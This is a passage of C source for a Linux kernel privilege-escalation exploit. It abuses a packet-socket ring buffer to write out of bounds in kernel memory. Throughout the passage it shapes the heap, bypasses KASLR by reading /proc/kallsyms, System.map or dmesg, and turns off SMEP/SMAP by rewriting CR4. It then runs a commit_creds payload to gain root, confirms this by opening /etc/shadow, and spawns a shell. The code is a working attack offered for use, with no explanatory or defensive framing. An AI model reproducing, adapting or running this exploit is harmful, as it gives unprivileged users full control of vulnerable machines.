	unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
		0x8000 - BLK_HDR_LEN - macoff + offset;
	return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
	loopback_send(buffer, size);
}

void oob_timer_execute(void *func, unsigned long arg) {
	oob_setup(2048 + TIMER_OFFSET - 8);

	int i;
	for (i = 0; i < 32; i++) {
		int timer = packet_sock_kmalloc();
		packet_sock_timer_schedule(timer, 1000);
	}

	char buffer[2048];
	memset(&buffer[0], 0, sizeof(buffer));

	struct timer_list *timer = (struct timer_list *)&buffer[8];
	timer->function = func;
	timer->data = arg;
	timer->flags = 1;

	oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);

	sleep(1);
}

void oob_id_match_execute(void *func) {
	int s = oob_setup(2048 + XMIT_OFFSET - 64);

	int ps[32];

	int i;
	for (i = 0; i < 32; i++)
		ps[i] = packet_sock_kmalloc();

	char buffer[2048];
	memset(&buffer[0], 0, 2048);

	void **xmit = (void **)&buffer[64];
	*xmit = func;

	oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);

	for (i = 0; i < 32; i++)
		packet_sock_id_match_trigger(ps[i]);
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

void kmalloc_pad(int count) {
	int i;
	for (i = 0; i < count; i++)
		packet_sock_kmalloc();
}

void pagealloc_pad(int count) {
	packet_socket_setup(0x8000, 2048, count, 0, 100);
}

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
	((_commit_creds)(COMMIT_CREDS))(
		((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
	);
}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *

#define CHUNK_SIZE 1024

int read_file(const char* file, char* buffer, int max_length) {
	int f = open(file, O_RDONLY);
	if (f == -1)
		return -1;
	int bytes_read = 0;
	while (true) {
		int bytes_to_read = CHUNK_SIZE;
		if (bytes_to_read > max_length - bytes_read)
			bytes_to_read = max_length - bytes_read;
		int rv = read(f, &buffer[bytes_read], bytes_to_read);
		if (rv == -1)
			return -1;
		bytes_read += rv;
		if (rv == 0)
			return bytes_read;
	}
}

void get_kernel_version(char* output, int max_length) {
        struct utsname u;
        int rv = uname(&u);
        if (rv != 0) {
                dprintf("[-] uname())\n");
                exit(EXIT_FAILURE);
        }
        assert(strlen(u.release) <= max_length);
        strcpy(&output[0], u.release);
}

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))

#define KERNEL_VERSION_LENGTH 32

void detect_versions() {
	char version[KERNEL_VERSION_LENGTH];

	get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);

	int i;
	for (i = 0; i < ARRAY_SIZE(kernels); i++) {
		if (strcmp(&version[0], kernels[i].version) == 0) {
			dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
			kernel = i;
			return;
		}
	}

	dprintf("[-] kernel version not recognized\n");
	exit(EXIT_FAILURE);
}

#define PROC_CPUINFO_LENGTH 4096

// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
	char buffer[PROC_CPUINFO_LENGTH];
	char* path = "/proc/cpuinfo";
	int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
	if (length == -1) {
		dprintf("[-] open/read(%s)\n", path);
		exit(EXIT_FAILURE);
	}

	int rv = 0;
	char* found = memmem(&buffer[0], length, "smep", 4);
	if (found != NULL)
		rv += 1;
	found = memmem(&buffer[0], length, "smap", 4);
	if (found != NULL)
		rv += 2;
	return rv;
}

void check_smep_smap() {
	int rv = smap_smep_enabled();

#if !ENABLE_SMEP_SMAP_BYPASS
	if (rv >= 1) {
		dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n");
		exit(EXIT_FAILURE);
	}
#endif

	switch(rv) {
	case 1: // SMEP
		CR4_DESIRED_VALUE = 0x406e0ul;
		break;
	case 2: // SMAP
		CR4_DESIRED_VALUE = 0x407f0ul;
		break;
	case 3: // SMEP and SMAP
		CR4_DESIRED_VALUE = 0x407f0ul;
		break;
	}
}

// * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * *

#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

unsigned long get_kernel_addr_syslog() {
	dprintf("[.] trying syslog...\n");

	int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
	if (size == -1) {
		dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
		exit(EXIT_FAILURE);
	}

	size = (size / getpagesize() + 1) * getpagesize();
	char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
		MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
	if (size == -1) {
		dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
		exit(EXIT_FAILURE);
	}

	const char *needle1 = "Freeing SMP";
	char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
	if (substr == NULL) {
		dprintf("[-] substring '%s' not found in dmesg\n", needle1);
		exit(EXIT_FAILURE);
	}

	for (size = 0; substr[size] != '\n'; size++);

	const char *needle2 = "ffff";
	substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
	if (substr == NULL) {
		dprintf("[-] substring '%s' not found in dmesg\n", needle2);
		exit(EXIT_FAILURE);
	}

	char *endptr = &substr[16];
	unsigned long r = strtoul(&substr[0], &endptr, 16);

	r &= 0xfffffffffff00000ul;
	r -= 0x1000000ul;

	return r;
}

// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *

unsigned long get_kernel_addr_kallsyms() {
	FILE *f;
	unsigned long addr = 0;
	char dummy;
	char sname[256];
	char* name = "startup_64";
	char* path = "/proc/kallsyms";

	dprintf("[.] trying %s...\n", path);
	f = fopen(path, "r");
	if (f == NULL) {
		dprintf("[-] open/read(%s)\n", path);
		return 0;
	}

	int ret = 0;
	while (ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	dprintf("[-] kernel base not found in %s\n", path);
	return 0;
}

// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *

unsigned long get_kernel_addr_sysmap() {
	FILE *f;
	unsigned long addr = 0;
	char path[512] = "/boot/System.map-";
	char version[32];
	get_kernel_version(&version[0], 32);
	strcat(path, &version[0]);
	dprintf("[.] trying %s...\n", path);
	f = fopen(path, "r");
	if (f == NULL) {
		dprintf("[-] open/read(%s)\n", path);
		return 0;
	}

	char dummy;
	char sname[256];
	char* name = "startup_64";
	int ret = 0;
	while (ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	dprintf("[-] kernel base not found in %s\n", path);
	return 0;
}

// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *

unsigned long get_kernel_addr() {
	unsigned long addr = 0;

	addr = get_kernel_addr_kallsyms();
        if (addr) return addr;

	addr = get_kernel_addr_sysmap();
	if (addr) return addr;

	addr = get_kernel_addr_syslog();
	if (addr) return addr;

	dprintf("[-] KASLR bypass failed\n");
	exit(EXIT_FAILURE);

	return 0;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void check_procs() {
	int min_procs = 2;

	int nprocs = 0;
	nprocs = get_nprocs_conf();

	if (nprocs < min_procs) {
		dprintf("[-] system has less than %d processor cores\n", min_procs);
		exit(EXIT_FAILURE);
	}

	dprintf("[.] system has %d processors\n", nprocs);
}

void exec_shell() {
	int fd;

	fd = open("/proc/1/ns/net", O_RDONLY);
	if (fd == -1) {
		dprintf("error opening /proc/1/ns/net\n");
		exit(EXIT_FAILURE);
	}

	if (setns(fd, CLONE_NEWNET) == -1) {
		dprintf("error calling setns\n");
		exit(EXIT_FAILURE);
	}

	system(SHELL);
}

void fork_shell() {
	pid_t rv;

	rv = fork();
	if (rv == -1) {
		dprintf("[-] fork()\n");
		exit(EXIT_FAILURE);
	}

	if (rv == 0) {
		exec_shell();
	}
}

bool is_root() {
	// We can't simple check uid, since we're running inside a namespace
	// with uid set to 0. Try opening /etc/shadow instead.
	int fd = open("/etc/shadow", O_RDONLY);
	if (fd == -1)
		return false;
	close(fd);
	return true;
}

void check_root() {
	dprintf("[.] checking if we got root\n");

	if (!is_root()) {
		dprintf("[-] something went wrong =(\n");
		return;
	}

	dprintf("[+] got r00t ^_^\n");

	// Fork and exec instead of just doing the exec to avoid potential
	// memory corruptions when closing packet sockets.
	fork_shell();
}

bool write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}

void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
		dprintf("[-] unshare(CLONE_NEWUSER)\n");
		exit(EXIT_FAILURE);
	}

        if (unshare(CLONE_NEWNET) != 0) {
		dprintf("[-] unshare(CLONE_NEWUSER)\n");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		dprintf("[-] write_file(/proc/self/set_groups)\n");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
		dprintf("[-] write_file(/proc/self/uid_map)\n");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		dprintf("[-] write_file(/proc/self/gid_map)\n");
		exit(EXIT_FAILURE);
	}

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		dprintf("[-] sched_setaffinity()\n");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo up") != 0) {
		dprintf("[-] system(/sbin/ifconfig lo up)\n");
		exit(EXIT_FAILURE);
	}
}

int main(int argc, char *argv[]) {
	if (argc > 1) SHELL = argv[1];

	dprintf("[.] starting\n");

	check_procs();

	dprintf("[.] checking kernel version\n");
	detect_versions();
	dprintf("[~] done, version looks good\n");

	dprintf("[.] checking SMEP and SMAP\n");
	check_smep_smap();
	dprintf("[~] done, looks good\n");

	dprintf("[.] setting up namespace sandbox\n");
	setup_sandbox();
	dprintf("[~] done, namespace sandbox set up\n");

#if ENABLE_KASLR_BYPASS
	dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
	KERNEL_BASE = get_kernel_addr();
	dprintf("[.] done, kernel text:   %lx\n", KERNEL_BASE);
#endif

	dprintf("[.] commit_creds:        %lx\n", COMMIT_CREDS);
	dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);

#if ENABLE_SMEP_SMAP_BYPASS
	dprintf("[.] native_write_cr4:    %lx\n", NATIVE_WRITE_CR4);
#endif

	dprintf("[.] padding heap\n");
	kmalloc_pad(KMALLOC_PAD);
	pagealloc_pad(PAGEALLOC_PAD);
	dprintf("[.] done, heap is padded\n");

#if ENABLE_SMEP_SMAP_BYPASS
	dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n");
	oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
	dprintf("[.] done, SMEP & SMAP should be off now\n");
#endif

	dprintf("[.] executing get root payload %p\n", &get_root_payload);
	oob_id_match_execute((void *)&get_root_payload);
	dprintf("[.] done, should be root now\n");

	check_root();

	while (1) sleep(1000);

	return 0;
}